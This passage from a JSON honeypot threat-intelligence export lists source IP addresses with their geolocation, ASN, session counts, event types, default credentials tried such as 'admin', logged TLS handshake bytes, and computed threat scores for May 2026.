        "first_seen_30d": "2026-05-23T12:06:08.731000+00:00",
        "last_seen_30d": "2026-05-23T13:34:46.361000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "45.121.20.186": {
      "attack_count": 6,
      "first_seen": "2026-05-23T02:20:23.208Z",
      "last_seen": "2026-05-23T02:22:44.319Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Petaling Jaya",
      "asn": 56231,
      "as_org": "MEASAT Broadcast Network Systems",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T02:20:23.208000+00:00",
        "last_seen_30d": "2026-05-23T02:23:45.804000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "62.171.174.34": {
      "attack_count": 6,
      "first_seen": "2026-05-08T05:12:16.439Z",
      "last_seen": "2026-05-08T05:12:18.398Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T05:12:16.439000+00:00",
        "last_seen_30d": "2026-05-08T05:13:27.095000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "59.24.152.190": {
      "attack_count": 5,
      "first_seen": "2026-05-20T03:36:19.608Z",
      "last_seen": "2026-05-20T03:39:32.572Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gumi",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 16.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T03:36:19.608000+00:00",
        "last_seen_30d": "2026-05-20T03:49:34.140000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Cowrie": 5
      }
    },
    "91.231.89.224": {
      "attack_count": 5,
      "first_seen": "2026-05-02T12:29:00.478Z",
      "last_seen": "2026-05-02T12:29:00.802Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "\u0000\f\u0000",
        "b\"\\xc0$\\xc0\\xad\\xc0\\xaf\\xc0,\\xc0r\\xc0s\\xcc\\xa9\\x13\\x02\\x13\\x01\\xcc\\x14\\xc0\\x07\\xc0\\x12\\xc0\\x13\\xc0'\\xc0/\\xc0\\x14\\xc0(\\xc00\\xc0`\\xc0a\\xc0v\\xc0w\\xcc\\xa8\\x13\\x05\\x13\\x04\\x13\\x03\\xcc\\x13\\xc0\\x11\\x00\"",
        "b'\\x16\\x03\\x03\\x02d\\x01\\x00\\x02`\\x03\\x03\\xeb\\xd3\\xcc)\\xca\\x81\\xd5\\xcc\\xdf\\x95\\x01u\\x00\\xe2\\xd77\\xae6\\xf0L\\xc3\\xe2,1\\x16\\xb8\\xc6\\xe3o\\xd8\\xb8\\xa9 \\xc8'"
      ],
      "passwords_attempted": [
        "\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0005\u0000\u0005\u0001\u0000\u0000\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r0\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b",
        "b'\\x00/\\x00<\\xc0\\x9c\\xc0\\xa0\\x00\\x9c\\x005\\x00=\\xc0\\x9d\\xc0\\xa1\\x00\\x9d\\x00A\\x00\\xba\\x00\\x84\\x00\\xc0\\x00\\x07\\x00\\x04\\x00\\x05\\x01\\x00\\x01\\x8d\\x00\\x00\\x00\\x14\\x00\\x12\\x00\\x00\\x0f172.105.186.117\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00'"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 87.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 197,
        "days_active_30d": 30,
        "ports_targeted_30d": 58,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T12:29:00.478000+00:00",
        "last_seen_30d": "2026-05-31T10:23:46.307000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 160,
        "Honeytrap": 31,
        "Cowrie": 5,
        "Dicompot": 1
      }
    },
    "103.140.248.109": {
      "attack_count": 4,
      "first_seen": "2026-05-26T09:03:10.170Z",
      "last_seen": "2026-05-31T16:39:36.271Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135932,
      "as_org": "Viet Storage Technology Joint Stock Company",
      "threat_score": 24.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T09:03:10.170000+00:00",
        "last_seen_30d": "2026-05-31T16:40:37.509000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "112.140.184.197": {
      "attack_count": 4,
      "first_seen": "2026-05-03T06:47:31.260Z",
      "last_seen": "2026-05-03T06:48:36.360Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45634,
      "as_org": "10 Science Park Road",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.2,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T06:47:16.307000+00:00",
        "last_seen_30d": "2026-05-05T21:59:03.308000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 38,
        "Cowrie": 4
      }
    },
    "147.185.132.120": {
      "attack_count": 4,
      "first_seen": "2026-05-04T10:47:39.456Z",
      "last_seen": "2026-05-04T10:47:42.389Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 30,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T18:53:07+00:00",
        "last_seen_30d": "2026-05-31T05:55:30.154000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 77,
        "Honeytrap": 21,
        "Mailoney": 5,
        "Cowrie": 4,
        "ConPot": 1,
        "Dionaea": 1,
        "Honeyaml": 1
      }
    },
    "159.117.160.65": {
      "attack_count": 4,
      "first_seen": "2026-05-04T05:45:03.705Z",
      "last_seen": "2026-05-04T05:47:06.305Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Myrtle Beach",
      "asn": 21565,
      "as_org": "Horry Telephone Cooperative, Inc.",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T05:45:03.705000+00:00",
        "last_seen_30d": "2026-05-04T05:58:02.001000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "20.84.152.213": {
      "attack_count": 4,
      "first_seen": "2026-05-26T16:41:05.203Z",
      "last_seen": "2026-05-26T16:41:15.738Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 47.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.0,
        "persistence": 20.8,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 25,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T04:12:45.293000+00:00",
        "last_seen_30d": "2026-05-26T16:42:23.447000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 4,
        "Honeytrap": 4
      }
    },
    "201.238.2.245": {
      "attack_count": 4,
      "first_seen": "2026-05-21T18:29:10.596Z",
      "last_seen": "2026-05-22T04:50:21.495Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T18:29:10.596000+00:00",
        "last_seen_30d": "2026-05-22T04:51:23.851000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "220.133.202.134": {
      "attack_count": 4,
      "first_seen": "2026-05-29T10:48:42.737Z",
      "last_seen": "2026-05-29T12:19:30.664Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "New Taipei City",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 20.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T10:48:42.737000+00:00",
        "last_seen_30d": "2026-05-29T12:20:34.415000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "35.202.9.133": {
      "attack_count": 4,
      "first_seen": "2026-05-07T20:20:45.274Z",
      "last_seen": "2026-05-18T20:56:37.924Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Council Bluffs",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 17.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 54,
        "days_active_30d": 29,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-03T21:44:57.634000+00:00",
        "last_seen_30d": "2026-05-31T16:51:17.429000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 43,
        "Cowrie": 4,
        "Tanner": 3,
        "Dionaea": 2,
        "Honeytrap": 2
      }
    },
    "42.100.59.251": {
      "attack_count": 4,
      "first_seen": "2026-05-22T12:05:00.611Z",
      "last_seen": "2026-05-22T12:06:10.670Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T12:05:00.611000+00:00",
        "last_seen_30d": "2026-05-22T12:07:19.536000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "52.249.221.45": {
      "attack_count": 4,
      "first_seen": "2026-05-12T03:42:10.115Z",
      "last_seen": "2026-05-12T03:42:20.718Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Bethesda",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 51.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.6,
        "persistence": 21.7,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 26,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T11:50:18.717000+00:00",
        "last_seen_30d": "2026-05-28T03:33:45.607000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 4,
        "Honeytrap": 4
      }
    },
    "103.118.28.17": {
      "attack_count": 3,
      "first_seen": "2026-05-17T09:42:57.496Z",
      "last_seen": "2026-05-17T09:43:59.002Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 151858,
      "as_org": "INTERDIGI JOINT STOCK COMPANY",
      "threat_score": 58.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.0,
        "persistence": 12.5,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 201,
        "days_active_30d": 15,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-17T09:42:57.496000+00:00",
        "last_seen_30d": "2026-05-31T21:23:46.381000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 110,
        "Tanner": 88,
        "Cowrie": 3
      }
    },
    "110.41.56.6": {
      "attack_count": 3,
      "first_seen": "2026-05-07T06:12:31.948Z",
      "last_seen": "2026-05-07T06:13:32.812Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 55990,
      "as_org": "Huawei Cloud Service data center",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T06:12:31.948000+00:00",
        "last_seen_30d": "2026-05-07T06:14:38.968000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "194.132.138.90": {
      "attack_count": 3,
      "first_seen": "2026-05-15T03:48:43.717Z",
      "last_seen": "2026-05-15T03:48:43.718Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 12552,
      "as_org": "GlobalConnect AB",
      "threat_score": 9.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T03:48:43.717000+00:00",
        "last_seen_30d": "2026-05-15T03:49:48.173000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 3
      }
    },
    "1.15.51.236": {
      "attack_count": 2,
      "first_seen": "2026-05-16T13:44:47.344Z",
      "last_seen": "2026-05-16T13:45:18.194Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T13:44:47.344000+00:00",
        "last_seen_30d": "2026-05-16T13:46:26.880000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "105.175.255.36": {
      "attack_count": 2,
      "first_seen": "2026-05-11T14:24:54.000Z",
      "last_seen": "2026-05-11T14:25:08.039Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Angola",
      "country_code": "AO",
      "city": "Cazenga",
      "asn": 37119,
      "as_org": "UNITEL",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T14:24:54+00:00",
        "last_seen_30d": "2026-05-11T14:26:14.168000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.103.130.142": {
      "attack_count": 2,
      "first_seen": "2026-05-23T08:08:49.940Z",
      "last_seen": "2026-05-23T08:09:02.349Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:08:49.940000+00:00",
        "last_seen_30d": "2026-05-23T08:10:02.765000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.243.29.250": {
      "attack_count": 2,
      "first_seen": "2026-05-06T20:46:59.375Z",
      "last_seen": "2026-05-06T20:47:12.282Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Weifang",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T20:46:59.375000+00:00",
        "last_seen_30d": "2026-05-06T20:48:14.479000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.209.121.151": {
      "attack_count": 2,
      "first_seen": "2026-05-17T08:49:16.395Z",
      "last_seen": "2026-05-17T08:49:29.686Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T08:49:16.395000+00:00",
        "last_seen_30d": "2026-05-17T08:50:32.837000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "147.185.132.237": {
      "attack_count": 2,
      "first_seen": "2026-05-30T01:22:09.382Z",
      "last_seen": "2026-05-30T01:22:09.690Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 80.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.4,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 27,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-04T00:49:52+00:00",
        "last_seen_30d": "2026-05-30T23:42:05.721000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 78,
        "Honeytrap": 29,
        "Cowrie": 2,
        "ConPot": 1
      }
    },
    "150.136.243.239": {
      "attack_count": 2,
      "first_seen": "2026-05-02T07:25:31.849Z",
      "last_seen": "2026-05-02T07:26:02.571Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T07:25:31.849000+00:00",
        "last_seen_30d": "2026-05-02T07:27:11.334000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "176.65.139.59": {
      "attack_count": 2,
      "first_seen": "2026-05-06T13:19:24.880Z",
      "last_seen": "2026-05-06T13:19:56.101Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 5.0,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 6,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T09:45:14.463000+00:00",
        "last_seen_30d": "2026-05-07T17:27:40.900000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 2,
        "Honeytrap": 2
      }
    },
    "180.191.123.162": {
      "attack_count": 2,
      "first_seen": "2026-05-22T03:21:10.709Z",
      "last_seen": "2026-05-22T03:21:24.299Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Cagayan de Oro",
      "asn": 4775,
      "as_org": "Globe Telecoms",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T03:21:10.709000+00:00",
        "last_seen_30d": "2026-05-22T03:22:28.089000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.35.87.100": {
      "attack_count": 2,
      "first_seen": "2026-05-20T01:23:15.625Z",
      "last_seen": "2026-05-20T01:23:28.446Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
